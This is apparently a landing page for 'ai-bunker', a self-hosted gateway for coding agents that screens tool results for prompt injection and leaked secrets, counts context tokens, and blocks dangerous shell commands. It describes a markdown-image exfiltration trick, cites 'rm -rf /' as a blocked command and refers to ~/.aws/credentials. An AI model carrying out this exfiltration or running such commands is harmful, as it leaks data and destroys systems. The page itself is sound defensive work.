Skip to content

AI Helpers

One GPU, one charter,
every coding agent.

A sovereign OpenAI-compatible gateway in front of your own GPU — your own graphics processing unit. It carries your team's standards, enforces rules that cannot be bypassed, and counts the context budget with the server's own tokenizer instead of trusting the client's estimate.

Get started Read the source BSD-3-Clause · 0.2.0-alpha

Why the server has to count

On 2026-09-25 an agent session believed it was under its limit and sent 40,433 tokens to a server configured for 32,768. The server counted for real, refused the whole request, and the session died.

The client was not lying. It was estimating, with its own tokenizer rule, which is more optimistic than the model's on French and on code. The gap was 55%. Every harness does this: Claude Code compacts at effective context − 13,000, an estimate about an estimate.

The only party that can count correctly is the one holding the tokenizer, and that party is the server.

A session floor, itemised by owner
tool schemas (7)2,875client
client system prompt960client
charter465ai-bunker
knowledge index142ai-bunker
FLOOR4,442

backend=server exact=True — counted by the engine, not estimated. A floor nobody can decompose is a floor nobody can reduce.

Four stages, and the order matters

Any client that speaks OpenAI speaks ai-bunker, and gets all four without being configured for them. That is the argument for putting this at the endpoint rather than in each developer's harness: a plugin can be disabled by editing a file, and a different harness simply never had it.

  1. 01 — inbound

    Screen what the agent reads

    A role: "tool" message is text the world just handed the agent. Secrets leak out here, and indirect prompt injection arrives here. Both are caught, and what remains is marked as data rather than instruction.

  2. 02 — charter

    Serve the standards

    Your team's pages, advertised as a ~600-token index rather than pasted into every prompt. A page costs nothing until it is opened, so the charter can be large.

  3. 03 — budget

    Measure, then refuse

    A session with no room to work is refused here, with the component responsible named — rather than failing downstream as a context-length error nobody can act on.

  4. 04 — outbound

    Refuse what the agent runs

    When the model answers with a tool call carrying a shell command, that command has not run yet. This is the one enforcement point no client can bypass — including when the answer is streamed, which is what every agent client asks for by default. A call delivered in fragments is assembled and judged by the same code, while the text around it streams through untouched.

A request crossing the ai-bunker gateway A client on the left sends a request to the gateway in the middle, which forwards it to the serving engine on the right. Inside the gateway, stage 1 screens inbound tool results, stage 2 injects the charter, stage 3 measures the budget and can refuse the request, and stage 4 screens the outbound tool calls and can refuse a command. A dashed line links stages 1 and 4, which are the two scopes of one rule engine. ai-bunker Any OpenAI client Claude Code · OpenCode · curl Your GPU vLLM, Ollama 01 Screen what it reads secrets out, injection in mark the rest as data 02 Serve the charter index, not the pages stable position, cacheable 03 Measure the budget with the engine's own tokenizer, not an estimate 413 — names the culprit 04 Screen what it runs the command has not run yet refused as a tool result one rule engine, both ends of a turn
The order is load-bearing. Stages 1 and 4 are the same rule engine at the two ends of an agent's turn, and a gateway is the first position from which both are visible — a library called from an application sees neither reliably.

Two attacks nobody else screens for

Both were found by sending payloads through the real engine rather than by reading the patterns, which is how most of this project's rules were found.

Output that exfiltrates by being looked at

A tool result carrying ![](https://host/p.gif?d=…) needs no instruction and no cooperation from the model: the moment a client renders it, the renderer fetches the address and the query string lands in somebody else's access log. Nothing asks the agent to send anything, so a rule looking for a request to send finds nothing.

The payload cannot be the signal — a length threshold is something to stay under, and parameter names are the attacker's to choose. What works is an allowlist of hosts whose untrusted content may fetch itself, which is the Content Security Policy model and never reasons about the payload at all.

An estimate that refuses on the wrong side

When no tokenizer is reachable the budget falls back to a ratio, and that ratio was under-counting by up to 37% — the same direction as the incident this project was built around. Measured across thirteen real files and three tokenizer families, the true figure ranges from 2.51 to 4.23 characters per token.

It now takes the measured floor, so an estimate is never optimistic, and it says so: it over-counts ordinary prose by about half, which is the recoverable direction. A figure that can refuse a request must never flatter it.

Work the engine does not have to do

A gateway in front of one graphics processor is also deciding what that processor spends itself on. Both of these were found by measuring, against a socket that accepts and answers slowly, rather than by reading the code.

A client that gives up stops the engine

A non-streaming request used to be awaited and nothing watched the caller. A client that timed out after one second left the engine free to generate for twenty, and the upstream never saw the connection close — so it had no way to know, and no reason to stop.

The call is now raced against the client's own connection and cancelled when that goes away, which closes the socket — the only signal an engine can act on. Measured on the same stall: the upstream hangs up at one second instead of never. Streaming already behaved, because closing the response closes the stream with it; that is measured too rather than assumed.

Half a command is not a command

An upstream stream can simply stop — a provider timeout, a proxy capping response duration, a reset. The client then gets a normal close and treats a truncated turn as a finished one. Here that was worse than untidy: rm -rf / is refused by a BLOCKER, and cut to {"command": "rm -rf it matches nothing, because the rule needs a target.

The prefix screened clean and was relayed as if complete. A tool call whose arguments do not parse is now refused rather than passed on: screening a fragment answers a question nobody asked, and answers it confidently.

Rules that ship with their evidence

A regular expression is the easiest thing here to get subtly wrong, and a wrong one fails silently: it stops matching, nobody notices, the guardrail is gone. So every rule carries its own examples, and they run in continuous integration (CI).

$ ai-bunker rules --check
  rules loaded                          27
  assertions passed                    247
  assertions failed                      0
  rules carrying evidence            100%

Three shipped patterns were wrong on first write — including one whose bound could not cross the dot in ~/.aws/credentials. The examples caught all three before they reached a deployment.

2

scopes: text on its way in, commands on their way out

3.85

bits/char — the measured entropy threshold that tells a credential from a placeholder

0

catastrophic patterns allowed to load — the guard caught two in a working production rule set

What it is not

  • Not a router with a hundred providers. LiteLLM is simply better at that, and ai-bunker sits in front of it rather than competing.
  • Not a content classifier. LLM Guard and Guardrails AI ship trained models; this ships versioned regular expressions. Reviewable and free to run — a trade, not a win.
  • Not mature. This is 0.2.0-alpha next to projects with years of production use.

See the full landscape →

What it is

The gateways route. The guardrails inspect. Neither counts.

ai-bunker is the intersection, and that corner of the map is still thinly populated. Less empty than in 2025, though: a token budget at the gateway is now a pattern others describe. What stays narrow is whose tokenizer does the counting.

Every number on this site was measured. Where a figure is an estimate, it says so.